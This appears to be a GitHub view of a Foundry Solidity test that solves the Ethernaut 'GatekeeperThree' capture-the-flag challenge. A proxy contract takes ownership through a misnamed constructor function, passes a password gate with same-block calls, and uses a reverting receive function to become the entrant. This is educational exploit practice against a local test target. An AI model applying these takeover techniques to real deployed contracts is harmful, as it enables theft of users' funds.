-
Notifications
You must be signed in to change notification settings - Fork 0
/
GatekeeperThreeExploit.t.sol
78 lines (63 loc) · 2.26 KB
/
GatekeeperThreeExploit.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
import '../../src/EthernautCTF/GatekeeperThree.sol';
import '@forge-std/Test.sol';
import '@forge-std/console.sol';
contract Helper {
GatekeeperThree target;
constructor(address payable _targetAddress) {
target = GatekeeperThree(_targetAddress);
}
function pwn() external {
// First, become the owner of the contract.
// Make sure that the tx.origin is not the owner, only the msg.sender.
// That's why we use a proxy contract to perform the exploit.
target.construct0r();
require(
target.owner() == address(this),
'The exploiter is not the owner of the contract'
);
// Then allow entrance (gate 2).
// We make the two calls in the same block.
// Another solution is to inspect the storage of the target contract to get the password value.
target.createTrick();
target.getAllowance(block.timestamp);
require(target.allowEntrance(), 'Entrance is not allowed');
// Finally, become an entrant (gate 3).
target.enter();
require(target.entrant() == tx.origin, 'The exploiter is not the entrant');
}
receive() external payable {
// Make sure the contract reverts when sent some ether.
revert();
}
}
contract GatekeeperThreeExploit is Test {
GatekeeperThree target;
address deployer = makeAddr('deployer');
address exploiter = makeAddr('exploiter');
function setUp() public {
vm.deal(exploiter, 10 ether);
vm.startPrank(deployer);
target = new GatekeeperThree();
console.log('Target contract deployed');
vm.stopPrank();
}
function testExploit() public {
address entrant = target.entrant();
assertEq(entrant, address(0x0));
console.log('Current entrant: %s', entrant);
vm.startPrank(exploiter, exploiter);
console.log('Fund the target contract to perform the exploit');
(bool success, ) = address(target).call{value: 1 ether}('');
require(success, 'Call failed');
console.log('Performing the exploit using a proxy contract');
Helper helper = new Helper(payable(target));
helper.pwn();
console.log('The exploiter is now the new entrant');
vm.stopPrank();
entrant = target.entrant();
assertEq(entrant, exploiter);
console.log('New entrant: %s', entrant);
}
}